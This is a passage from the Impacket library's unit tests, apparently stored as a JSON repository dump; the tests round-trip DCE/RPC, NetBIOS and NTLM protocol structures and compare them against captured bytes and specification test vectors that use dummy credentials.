\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10 \\x00OLE4B669A0A60C84C56926EB66DC651\\x00\\x00\\x00\\x00\\x00'\n        hexdump(ept_lookup_resp)\n        lookupResponse= ept_lookupResponse(isNDR64=False)\n        lookupResponse.fromString(ept_lookup_resp)\n        lookupResponse.dumpRaw()\n        output = lookupResponse.getData()\n        print(\"ORIG: %d, REPACKED: %d\" % (len(ept_lookup_resp), len(output)))\n        print(\"=\"*80)\n        print(\"ORIG\")\n        hexdump(ept_lookup_resp)\n        print(\"=\"*80)\n        print(\"REPACKED\")\n        hexdump(output)\n        print(\"=\"*80)\n        self.assertEqual(len(ept_lookup_resp), len(output))\n\n    def test_12(self):\n        ept_mapReq = b'\\x87d\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x001j\\x00\\x00\\x00\\x00\\x00\\x00K\\x00\\x00\\x00\\x00\\x00\\x00\\x00K\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xac\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x07\\x02\\x00\\x00\\x00\\x01\\x00\\t\\x04\\x00\\x00\\x00\\x00\\x00\\xaa\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00'\n        hexdump(ept_mapReq)\n\n        tower = epm.EPMTower()\n        interface = epm.EPMRPCInterface()\n        interface['InterfaceUUID'] = string_to_bin('12345778-1234-ABCD-EF00-0123456789AC')\n        interface['MajorVersion'] = 1\n        interface['MinorVersion'] = 0\n\n        dataRep = epm.EPMRPCDataRepresentation()\n        dataRep['DataRepUuid'] = string_to_bin('8a885d04-1ceb-11c9-9fe8-08002b104860')\n        dataRep['MajorVersion'] = 2\n        dataRep['MinorVersion'] = 0\n\n        protId = epm.EPMProtocolIdentifier()\n        protId['ProtIdentifier'] = 0xb\n\n        pipeName = epm.EPMPipeName()\n        pipeName['PipeName'] = '\\x00'\n\n        portAddr = epm.EPMPortAddr()\n        portAddr['IpPort'] = 0\n\n        hostAddr = epm.EPMHostAddr()\n        import socket\n        hostAddr['Ip4addr'] = socket.inet_aton('0.0.0.0')\n\n        hostName = epm.EPMHostName()\n        hostName['HostName'] = '\\x00'\n\n        tower['NumberOfFloors'] = 5\n        tower['Floors'] = interface.getData() + dataRep.getData() + protId.getData() + portAddr.getData() + hostAddr.getData()\n        request = epm.ept_map(isNDR64=True)\n        request['max_towers'] = 4\n        request['map_tower']['tower_length'] = len(tower)\n        request['map_tower']['tower_octet_string'] = tower.getData()\n\n        output = request.getData()\n        print(\"ORIG: %d, REPACKED: %d\" % (len(ept_mapReq), len(output)))\n        print(\"=\"*80)\n        print(\"ORIG\")\n        hexdump(ept_mapReq)\n        print(\"=\"*80)\n        print(\"REPACKED\")\n        hexdump(output)\n        print(\"=\"*80)\n        self.assertEqual(len(ept_mapReq), len(output))\n\n    def test_13(self):\n        baseRegGetKeySecurityResponse = b'\\x00\\x00\\x02\\x00\\x00\\x04\\x00\\x00$\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00$\\x00\\x00\\x00\\x01\\x00\\x00\\x80\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00 \\x02\\x00\\x00\\x00\\x00\\x00\\x00'\n        hexdump(baseRegGetKeySecurityResponse)\n        baseRegGetKeySecurity= BaseRegGetKeySecurityResponse()\n        baseRegGetKeySecurity.fromString(baseRegGetKeySecurityResponse)\n        baseRegGetKeySecurity.dumpRaw()\n        output = baseRegGetKeySecurity.getData()\n        print(\"ORIG: %d, REPACKED: %d\" % (len(baseRegGetKeySecurityResponse), len(output)))\n        print(\"=\"*80)\n        print(\"ORIG\")\n        hexdump(baseRegGetKeySecurityResponse)\n        print(\"=\"*80)\n        print(\"REPACKED\")\n        hexdump(output)\n        print(\"=\"*80)\n        self.assertEqual(baseRegGetKeySecurityResponse, output)\n\n    def test_14(self):\n        samrLookupIdsInDomain = b'\\x00\\x00\\x00\\x00Bz\\x94j&\\\\:E\\xacS\\xae\\xa9c\\xa8\\xc5\\xfb\\x02\\x00\\x00\\x00\\xe8\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\xf4\\x01\\x00\\x00\\xf5\\x01\\x00\\x00'\n        hexdump(samrLookupIdsInDomain)\n\n        request = SamrLookupIdsInDomain()\n        request['DomainHandle'] = 'A'*20\n        request['Count'] = 2\n        entry = dtypes.ULONG()\n        entry['Data'] = 500\n        request['RelativeIds'].append(entry)\n        entry = dtypes.ULONG()\n        entry['Data'] = 501\n        request['RelativeIds'].append(entry)\n        request.fields['RelativeIds'].fields['MaximumCount'] = 1000\n        #request.dumpRaw()\n\n        output = request.getData()\n        print(\"ORIG: %d, REPACKED: %d\" % (len(samrLookupIdsInDomain), len(output)))\n        print(\"=\"*80)\n        print(\"ORIG\")\n        hexdump(samrLookupIdsInDomain)\n        print(\"=\"*80)\n        print(\"REPACKED\")\n        hexdump(output)\n        print(\"=\"*80)\n        self.assertEqual(len(samrLookupIdsInDomain), len(output))\n\n    def test_15(self):\n        baseRegQueryMultipleValues = b'\\x00\\x00\\x00\\x00Ah?\\x10^>GG\\xbco\\xa1\\xc4(\\x86\\xbcR\\xbf\\xbf\\xbf\\xbf\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xfan\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xdd\\xdd\\xdd\\xddk\\x86\\x00\\x00\\x00\\x00\\x00\\x00\\x0b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xdd\\xdd\\xdd\\xdd\\xe3i\\x00\\x00\\x00\\x00\\x00\\x00\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xcc\\xcc\\xcc\\xcc\\x18\\x00\\x18\\x00\\xbc\\xbc\\xbc\\xbc/:\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x00r\\x00o\\x00d\\x00u\\x00c\\x00t\\x00N\\x00a\\x00m\\x00e\\x00\\x00\\x00\\x16\\x00\\x16\\x00\\xbc\\xbc\\xbc\\xbc\\x0c-\\x00\\x00\\x00\\x00\\x00\\x00\\x0b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0b\\x00\\x00\\x00\\x00\\x00\\x00\\x00S\\x00y\\x00s\\x00t\\x00e\\x00m\\x00R\\x00o\\x00o\\x00t\\x00\\x00\\x00\\xcc\\xcc\\x14\\x00\\x14\\x00\\xbc\\xbc\\xbc\\xbci\\xab\\x00\\x00\\x00\\x00\\x00\\x00\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00E\\x00d\\x00i\\x00t\\x00i\\x00o\\x00n\\x00I\\x00D\\x00\\x00\\x00\\x03\\x00\\x00\\x00?\\x8b\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00                                                                                                                                \\x80\\x00\\x00\\x00'\n        hexdump(baseRegQueryMultipleValues)\n\n        request = BaseRegQueryMultipleValues()\n\n        item1 = RVALENT()\n        item1['ve_valuename'] = 'ProductName\\x00'\n        item1['ve_valuelen'] = len('ProductName\\x00')\n        item1['ve_valueptr'] = NULL\n        item1['ve_type'] = REG_SZ\n\n        item2 = RVALENT()\n        item2['ve_valuename'] = 'SystemRoot\\x00'\n        item2['ve_valuelen'] = len('SystemRoot\\x00')\n        item1['ve_valueptr'] = NULL\n        item2['ve_type'] = REG_SZ\n\n        item3 = RVALENT()\n        item3['ve_valuename'] = 'EditionID\\x00'\n        item3['ve_valuelen'] = len('EditionID\\x00')\n        item3['ve_valueptr'] = NULL\n        item3['ve_type'] = REG_SZ\n\n        #request['hKey'] = 'A*20'\n        request['val_listIn'].append(item1)\n        request['val_listIn'].append(item2)\n        request['val_listIn'].append(item3)\n        request['num_vals'] = len(request['val_listIn'])\n        request['lpvalueBuf'] = list(' '*128)\n        request['ldwTotsize'] = 128\n        #request.dumpRaw()\n\n        request.changeTransferSyntax(self.NDR64Syntax)\n        request.fromString(baseRegQueryMultipleValues)\n        output = request.getData()\n        print(\"ORIG: %d, REPACKED: %d\" % (len(baseRegQueryMultipleValues), len(output)))\n        print(\"=\"*80)\n        print(\"ORIG\")\n        hexdump(baseRegQueryMultipleValues)\n        print(\"=\"*80)\n        print(\"REPACKED\")\n        hexdump(output)\n        print(\"=\"*80)\n        self.assertEqual(len(baseRegQueryMultipleValues), len(output))\n\n    def test_16(self):\n        complexPing = b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x01\\x00\\xaa\\xaa\\x92\\xeb\\x00\\x00\\x02\\x00\\x00\\x00\\xce\\xc9\\x00\\x89\\xd1\\xd2\\xad\\x0f\\x0f\\x9fW\\xceN\\xf5bN\\xb0\\x92\\x00\\x00\\x01\\x00\\x00\\x00\\xce\\xc9\\x00\\x89\\xd1\\xd2\\xad\\x0f'\n        hexdump(complexPing)\n\n        request = ComplexPing()\n        request.fromString(complexPing)\n        output = request.getData()\n        print(\"ORIG: %d, REPACKED: %d\" % (len(complexPing), len(output)))\n        print(\"=\"*80)\n        print(\"ORIG\")\n        hexdump(complexPing)\n        print(\"=\"*80)\n        print(\"REPACKED\")\n        hexdump(output)\n        print(\"=\"*80)\n        self.assertEqual(len(complexPing), len(output))\n\n    def test_17(self):\n        #<class 'impacket.dcerpc.v5.samr.SamrLookupNamesInDomainResponse'>\n        baseRegQueryValueResponse = b'\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x02\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x02\\x00\\x00\\x02\\x00\\x00\\x0c\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00'\n        hexdump(baseRegQueryValueResponse)\n        baseRegQueryValue= BaseRegQueryValueResponse()\n        baseRegQueryValue.fromString(baseRegQueryValueResponse)\n        baseRegQueryValue.dumpRaw()\n        output = baseRegQueryValue.getData()\n        print(\"ORIG: %d, REPACKED: %d\" % (len(baseRegQueryValueResponse), len(output)))\n        print(\"=\"*80)\n        print(\"ORIG\")\n        hexdump(baseRegQueryValueResponse)\n        print(\"=\"*80)\n        print(\"REPACKED\")\n        hexdump(output)\n        print(\"=\"*80)\n        self.assertEqual(baseRegQueryValueResponse, output)\n\n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/SMB_RPC/test_nmb.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport pytest\nimport unittest\nfrom binascii import unhexlify\nfrom tests import RemoteTestCase\n\nfrom impacket import nmb\nfrom impacket.structure import hexdump\n\n\nclass NMBLocalTests(unittest.TestCase):\n\n    def setUp(self):\n        self.machine = 'WIN-VB75FK4K1S0'\n        self.serverName = 'WIN-VB75FK4K1S0'\n\n    def test_encodedecodename(self):\n        name = 'THISISAVERYLONGLONGNAME'\n        encoded = nmb.encode_name(name, nmb.TYPE_SERVER, None)\n        decoded = nmb.decode_name(encoded)\n\n        self.assertEqual(name[:15], decoded[1].strip())\n\n    def test_getnetbiosname(self):\n        # Arrange\n        name = 'WIN-VB75FK4K1S0'\n        mock = unhexlify('f97384000000000100000000204648454a454f434e46474543444844464547454c4445454c444246444441414100002100010000000000650357494e2d56423735464b344b31533000040057494e2d56423735464b344b315330200400574f524b47524f555020202020202000840000155d01230800000000000000000000000000000000000000000000000000000000000000000000000000000000')\n        def send_hook(request, destaddr, timeout):\n            return nmb.NAME_SERVICE_PACKET(mock)\n        n = nmb.NetBIOS()\n        n.send = send_hook\n\n        res = n.getnetbiosname(self.machine) # Act\n\n        self.assertEqual(name, res) # Assert\n\n    def test_getnodestatus(self):\n        # Arrange\n        name1 = b'WIN-VB75FK4K1S0'\n        name2 = b'WIN-VB75FK4K1S0'\n        name3 = b'WORKGROUP      '\n        mock = unhexlify('f97384000000000100000000204648454a454f434e46474543444844464547454c4445454c444246444441414100002100010000000000650357494e2d56423735464b344b31533000040057494e2d56423735464b344b315330200400574f524b47524f555020202020202000840000155d01230800000000000000000000000000000000000000000000000000000000000000000000000000000000')\n        def send_hook(request, destaddr, timeout):\n            return nmb.NAME_SERVICE_PACKET(mock)\n        n = nmb.NetBIOS()\n        n.send = send_hook\n\n        resp = n.getnodestatus(self.serverName.upper(), self.machine) # Act\n\n        # Assert\n        self.assertEqual(resp[0]['NAME'], name1)\n        self.assertEqual(resp[1]['NAME'], name2)\n        self.assertEqual(resp[2]['NAME'], name3)\n\n    def test_gethostbyname(self):\n        # Arrange\n        addr = '10.0.1.1'\n        name = 'WIN-VB75FK4K1S0'\n        mock = unhexlify('f97485000000000100000000204648454a454f434e46474543444844464547454c4445454c44424644444141410000200001000493e0000600000a000101')\n        def send_hook(request, destaddr, timeout):\n            return nmb.NAME_SERVICE_PACKET(mock)\n        n = nmb.NetBIOS()\n        n.send = send_hook\n        n.set_nameserver(name)\n\n        resp = n.gethostbyname(name, nmb.TYPE_SERVER) # Act\n\n        self.assertEqual(addr, str(resp.entries[0])) # Assert\n\n    def test_name_query_request(self):\n        # Arrange\n        addr = \"10.0.1.1\"\n        name = \"WIN-VB75FK4K1S0\"\n        mock = unhexlify('f97485000000000100000000204648454a454f434e46474543444844464547454c4445454c44424644444141410000200001000493e0000600000a000101')\n        def send_hook(request, destaddr, timeout):\n            return nmb.NAME_SERVICE_PACKET(mock)\n        n = nmb.NetBIOS()\n        n.send = send_hook\n\n        resp = n.name_query_request(name, addr) # Act\n\n        self.assertEqual(addr, str(resp.entries[0])) # Assert\n\n\n\n@pytest.mark.remote\nclass NMBRemoteTests(RemoteTestCase, unittest.TestCase):\n\n    def setUp(self):\n        super(NMBRemoteTests, self).setUp()\n        self.set_transport_config()\n\n    def create_connection(self):\n        pass\n\n    def test_encodedecodename(self):\n        name = 'THISISAVERYLONGLONGNAME'\n        encoded = nmb.encode_name(name, nmb.TYPE_SERVER, None)\n        hexdump(encoded)\n        decoded = nmb.decode_name(encoded)\n        hexdump(bytearray(decoded[1], 'utf-8'))\n\n        #self.assertEqual(nmb.TYPE_SERVER, decoded[0])\n        self.assertEqual(name[:15], decoded[1].strip())\n\n        # ToDo: Fix the scope functionality\n        #namescope = 'MYNAME'\n        #encoded = nmb.encode_name(namescope,nmb.TYPE_SERVER,'SCOPE')\n        #hexdump(encoded)\n        #decoded = nmb.decode_name(encoded)\n        #hexdump(decoded)\n\n        #self.assertEqual(nmb.TYPE_SERVER, decoded[0])\n        #self.assertEqual(namescope[:15], decoded[1].strip())\n\n    def test_getnetbiosname(self):\n        n = nmb.NetBIOS()\n        res = n.getnetbiosname(self.machine)\n        print(repr(res))\n        self.assertEqual(self.serverName, res)\n\n    def test_getnodestatus(self):\n        n = nmb.NetBIOS()\n        resp = n.getnodestatus(self.serverName.upper(), self.machine)\n        for r in resp:\n            r.dump()\n        print(resp)\n\n    def test_gethostbyname(self):\n        n = nmb.NetBIOS()\n        n.set_nameserver(self.serverName)\n        resp = n.gethostbyname(self.serverName, nmb.TYPE_SERVER)\n        print(resp.entries)\n\n    def test_name_registration_request(self):\n        n = nmb.NetBIOS()\n        # ToDo: Look at this\n        #resp = n.name_registration_request('*SMBSERVER', self.serverName, nmb.TYPE_WORKSTATION, None,nmb.NB_FLAGS_G, '1.1.1.1')\n        try:\n            resp = n.name_registration_request('*JSMBSERVER', self.serverName, nmb.TYPE_WORKSTATION, None,nmb.NB_FLAGS_ONT_P, '1.1.1.2')\n            resp.dump()\n        except Exception as e:\n            print(str(e))\n            if str(e).find('NETBIOS') <= 0:\n                raise e\n\n    def test_name_query_request(self):\n        n = nmb.NetBIOS()\n        # ToDo: Look at this\n        # resp = n.name_registration_request('*SMBSERVER', self.serverName, nmb.TYPE_WORKSTATION, None,nmb.NB_FLAGS_G, '1.1.1.1')\n        resp = n.name_query_request(self.serverName, self.machine)\n        print(resp.entries)\n\n\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/SMB_RPC/test_ntlm.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nfrom __future__ import print_function\nimport unittest\nimport struct\n\nfrom six import b\nfrom impacket import ntlm\nfrom impacket.structure import hexdump\n\n\nclass NTLMTests(unittest.TestCase):\n\n    def setUp(self):\n        # Turn test case mode on\n        ntlm.TEST_CASE = True\n        self.user = \"User\"\n        self.domain = \"Domain\"\n        self.password = \"Password\"\n        self.serverName = \"Server\"\n        self.workstationName = \"COMPUTER\"\n        self.randomSessionKey = b(\"U\"*16)\n        self.time = b('\\x00'*8)\n        self.clientChallenge = b(\"\\xaa\"*8)\n        self.serverChallenge = b(\"\\x01\\x23\\x45\\x67\\x89\\xab\\xcd\\xef\")\n        self.flags = ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH | ntlm.NTLMSSP_NEGOTIATE_56 | ntlm.NTLMSSP_NEGOTIATE_128 | ntlm.NTLMSSP_NEGOTIATE_VERSION | ntlm.NTLMSSP_TARGET_TYPE_SERVER | ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN | ntlm.NTLMSSP_NEGOTIATE_NTLM | ntlm.NTLMSSP_NEGOTIATE_SEAL | ntlm.NTLMSSP_NEGOTIATE_SIGN | ntlm.NTLM_NEGOTIATE_OEM | ntlm.NTLMSSP_NEGOTIATE_UNICODE\n        self.seqNum = 0\n        self.nonce = b('\\x00'*16)\n        self.plaintext = 'Plaintext'.encode('utf-16le')\n\n        print(\"Flags\")\n        hexdump(struct.pack('<L',self.flags))\n\n    def test_ntlmv1(self):\n        print(\"####### 4.2.2 NTLMv1 Authentication\")\n        ntlm.USE_NTLMv2 = False\n        print(\"4.2.2.1 LMOWFv1()\")\n        res = ntlm.LMOWFv1(self.password)\n        hexdump(res)\n        self.assertEqual(res, bytearray(b'\\xe5,\\xacgA\\x9a\\x9a\"J;\\x10\\x8f?\\xa6\\xcbm'))\n        print(\"\\n\")\n        print(\"4.2.2.1.2 NTOWFv1()\")\n        res = ntlm.NTOWFv1(self.password)\n        hexdump(res)\n        self.assertEqual(res, bytearray(b'\\xa4\\xf4\\x9c\\x40\\x65\\x10\\xbd\\xca\\xb6\\x82\\x4e\\xe7\\xc3\\x0f\\xd8\\x52'))\n        print(\"\\n\")\n        print(\"4.2.2.1.3 Session Base Key and Key Exchange Key\")\n        ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponseNTLMv1(int(self.flags), self.serverChallenge,\n                                                                            self.clientChallenge, self.serverName,\n                                                                            self.domain, self.user, self.password, '', '')\n        hexdump(sessionBaseKey)\n        self.assertEqual(sessionBaseKey, bytearray(b'\\xD8\\x72\\x62\\xB0\\xCD\\xE4\\xB1\\xCB\\x74\\x99\\xBE\\xCC\\xCD\\xF1\\x07\\x84'))\n        print(\"\\n\")\n        print(\"4.2.2.2.1 NTLMv1 Response\")\n        hexdump(ntResponse)\n        self.assertEqual(ntResponse, bytearray(b'\\x67\\xC4\\x30\\x11\\xF3\\x02\\x98\\xA2\\xAD\\x35\\xEC\\xE6\\x4F\\x16\\x33\\x1C\\x44\\xBD\\xBE\\xD9\\x27\\x84\\x1F\\x94'))\n        print(\"\\n\")\n        print(\"4.2.2.2.2 LMv1 Response\")\n        hexdump(lmResponse)\n        self.assertEqual(lmResponse, bytearray(b'\\x98\\xDE\\xF7\\xB8\\x7F\\x88\\xAA\\x5D\\xAF\\xE2\\xDF\\x77\\x96\\x88\\xA1\\x72\\xde\\xf1\\x1c\\x7d\\x5c\\xcd\\xef\\x13'))\n        print(\"\\n\")\n        print(\"4.2.2.2.2 LMv1 Response with NTLMSSP_NEGOTIATE_LM_KEY set\")\n        flags2 = self.flags\n        #flags2 = flags | ntlm.NTLMSSP_LM_KEY\n        #hexdump(struct.pack('<L',flags2))\n        ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponseNTLMv1(int(flags2), self.serverChallenge,\n                                                 self.clientChallenge, self.serverName, self.domain, self.user,\n                                                 self.password, '', '')\n        hexdump(lmResponse)\n        print(\"\\n\")\n        print(\"4.2.2.2.3 Encrypted Session Key \")\n        ntResponse, lmResponse, sessionBaseKey  = ntlm.computeResponseNTLMv1(int(self.flags), self.serverChallenge,\n                                        self.clientChallenge, self.serverName, self.domain, self.user, self.password, '', '')\n        keyExchangeKey = ntlm.KXKEY(self.flags, sessionBaseKey, lmResponse, self.serverChallenge, self.password,'','')\n        encryptedSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey,self.randomSessionKey)\n        hexdump(encryptedSessionKey)\n        self.assertEqual(encryptedSessionKey, bytearray(b'\\x51\\x88\\x22\\xB1\\xB3\\xF3\\x50\\xC8\\x95\\x86\\x82\\xEC\\xBB\\x3E\\x3C\\xB7'))\n        print(\"\\n\")\n        print(\"4.2.2.2.3 Encrypted Session Key (NTLMSSP_NON_NT_KEY)\")\n        flags2 = self.flags | ntlm.NTLMSSP_REQUEST_NON_NT_SESSION_KEY\n        keyExchangeKey = ntlm.KXKEY(flags2, sessionBaseKey, lmResponse, self.serverChallenge, self.password,'','')\n        encryptedSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey,self.randomSessionKey)\n        hexdump(encryptedSessionKey)\n        #ToDo Fix this\n        #self.assertEqual(encryptedSessionKey, bytearray(b'\\x74\\x52\\xca\\x55\\xc2\\x25\\xa1\\xca\\x04\\xb4\\x8f\\xae\\x32\\xcf\\x56\\xfc'))\n        print(\"\\n\")\n        print(\"4.2.2.2.3 Encrypted Session Key (NTLMSSP_LM_KEY)\")\n        flags2 = self.flags | ntlm.NTLMSSP_NEGOTIATE_LM_KEY\n        #hexdump(struct.pack('<L',flags2))\n        keyExchangeKey = ntlm.KXKEY(flags2, sessionBaseKey, lmResponse, self.serverChallenge, self.password,'','')\n        encryptedSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey,self.randomSessionKey)\n        hexdump(encryptedSessionKey)\n        #ToDo Fix this\n        #self.assertEqual(encryptedSessionKey, bytearray(b'\\x4c\\xd7\\xbb\\x57\\xd6\\x97\\xef\\x9b\\x54\\x9f\\x02\\xb8\\xf9\\xb3\\x78\\x64')\n        print(\"\\n\")\n        print(\"4.2.2.3 AUTHENTICATE MESSAGE\")\n        ntResponse, lmResponse, sessionBaseKey  = ntlm.computeResponseNTLMv1(int(self.flags), self.serverChallenge,\n                                                self.clientChallenge, self.serverName, self.domain, self.user, self.password, '', '')\n        keyExchangeKey = ntlm.KXKEY(self.flags, sessionBaseKey, lmResponse, self.serverChallenge, self.password,'','')\n        encryptedSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey,self.randomSessionKey)\n        ntlmChallengeResponse = ntlm.NTLMAuthChallengeResponse(self.user, self.password, self.serverChallenge)\n        ntlmChallengeResponse['flags'] = flags2\n        ntlmChallengeResponse['host_name'] = self.workstationName.encode('utf-16le')\n        ntlmChallengeResponse['domain_name'] = self.domain.encode('utf-16le')\n        ntlmChallengeResponse['lanman'] = lmResponse\n        ntlmChallengeResponse['ntlm'] = ntResponse\n        ntlmChallengeResponse['session_key'] = encryptedSessionKey\n        hexdump(ntlmChallengeResponse.getData())\n        self.assertEqual(ntlmChallengeResponse.getData(), bytearray(b'NTLMSSP\\x00\\x03\\x00\\x00\\x00\\x18\\x00\\x18\\x00|\\x00\\x00\\x00\\x18\\x00\\x18\\x00\\x94\\x00\\x00\\x00\\x0c\\x00\\x0c\\x00X\\x00\\x00\\x00\\x08\\x00\\x08\\x00d\\x00\\x00\\x00\\x10\\x00\\x10\\x00l\\x00\\x00\\x00\\x10\\x00\\x10\\x00\\xac\\x00\\x00\\x00\\xb3\\x82\\x02\\xe2D\\x00o\\x00m\\x00a\\x00i\\x00n\\x00U\\x00s\\x00e\\x00r\\x00C\\x00O\\x00M\\x00P\\x00U\\x00T\\x00E\\x00R\\x00\\x98\\xde\\xf7\\xb8\\x7f\\x88\\xaa]\\xaf\\xe2\\xdfw\\x96\\x88\\xa1r\\xde\\xf1\\x1c}\\\\\\xcd\\xef\\x13g\\xc40\\x11\\xf3\\x02\\x98\\xa2\\xad5\\xec\\xe6O\\x163\\x1cD\\xbd\\xbe\\xd9\\'\\x84\\x1f\\x94Q\\x88\"\\xb1\\xb3\\xf3P\\xc8\\x95\\x86\\x82\\xec\\xbb><\\xb7'))\n        print(\"\\n\")\n\n        print(\"4.2.2.4 GSS_WrapEx\")\n        print(\"Output of SEAL()\")\n        from Cryptodome.Cipher import ARC4\n        cipher = ARC4.new(self.randomSessionKey)\n        handle = cipher.encrypt\n        print(\"Plaintext\")\n        hexdump(self.plaintext)\n        print(\"\\n\")\n        sealedMsg, signature = ntlm.SEAL(self.flags, self.nonce, self.nonce, self.plaintext, self.plaintext, self.seqNum, handle)\n        #signature = ntlm.SIGN(flags, nonce, plaintext, seqNum, handle)\n        hexdump(sealedMsg)\n        self.assertEqual(sealedMsg, bytearray(b'V\\xfe\\x04\\xd8a\\xf91\\x9a\\xf0\\xd7#\\x8a.;ME\\x7f\\xb8'))\n        print(\"\\n\")\n        hexdump(signature.getData())\n        self.assertEqual(signature.getData(), bytearray(b'\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\t\\xdc\\xd1\\xdf.E\\x9d6'))\n        print(\"\\n\")\n\n        print(\"####### 4.2.3 NTLMv1 with Client Challenge\")\n        flags =  ntlm.NTLMSSP_NEGOTIATE_56 | ntlm.NTLMSSP_NEGOTIATE_VERSION | ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY \\\n                 | ntlm.NTLMSSP_TARGET_TYPE_SERVER | ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN | ntlm.NTLMSSP_NEGOTIATE_NTLM |\\\n                 ntlm.NTLMSSP_NEGOTIATE_SEAL | ntlm.NTLMSSP_NEGOTIATE_SIGN | ntlm.NTLM_NEGOTIATE_OEM | ntlm.NTLMSSP_NEGOTIATE_UNICODE\n        print(\"Flags\")\n        hexdump(struct.pack('<L',flags))\n        print(\"\\n\")\n        print(\"4.2.3.1.1 NTOWFv1(password)\")\n        hexdump(ntlm.NTOWFv1(self.password))\n        print(\"\\n\")\n        print(\"4.2.3.1.2 Session Base Key\")\n        ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponseNTLMv1(int(flags), self.serverChallenge, self.clientChallenge,\n                                                                            self.serverName, self.domain, self.user, self.password, '', '')\n        hexdump(sessionBaseKey)\n        self.assertEqual(sessionBaseKey, bytearray(b'\\xd8rb\\xb0\\xcd\\xe4\\xb1\\xcbt\\x99\\xbe\\xcc\\xcd\\xf1\\x07\\x84'))\n        print(\"\\n\")\n        print(\"4.2.3.1.3 Key Exchange Key\")\n        keyExchangeKey = ntlm.KXKEY(flags, sessionBaseKey, lmResponse, self.serverChallenge, self.password,'','')\n        hexdump(keyExchangeKey)\n        # ToDo: Fix this\n        #self.assertEqual(keyExchangeKey, bytearray(b'\\xeb\\x93\\x42\\x9a\\x8b\\xd9\\x52\\xf8\\xb8\\x9c\\x55\\xb8\\x7f\\x47\\x5e\\xdc'))\n        print(\"\\n\")\n\n        print(\"4.2.3.2.1 LMv1 Response\")\n        hexdump(lmResponse)\n        #self.assertEqual(lmResponse, bytearray(b'\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'))\n        print(\"\\n\")\n\n        print(\"4.2.3.2.2 NTLMv1 Response\")\n        hexdump(ntResponse)\n        # ToDo: Fix this\n        #self.assertEqual(ntResponse, 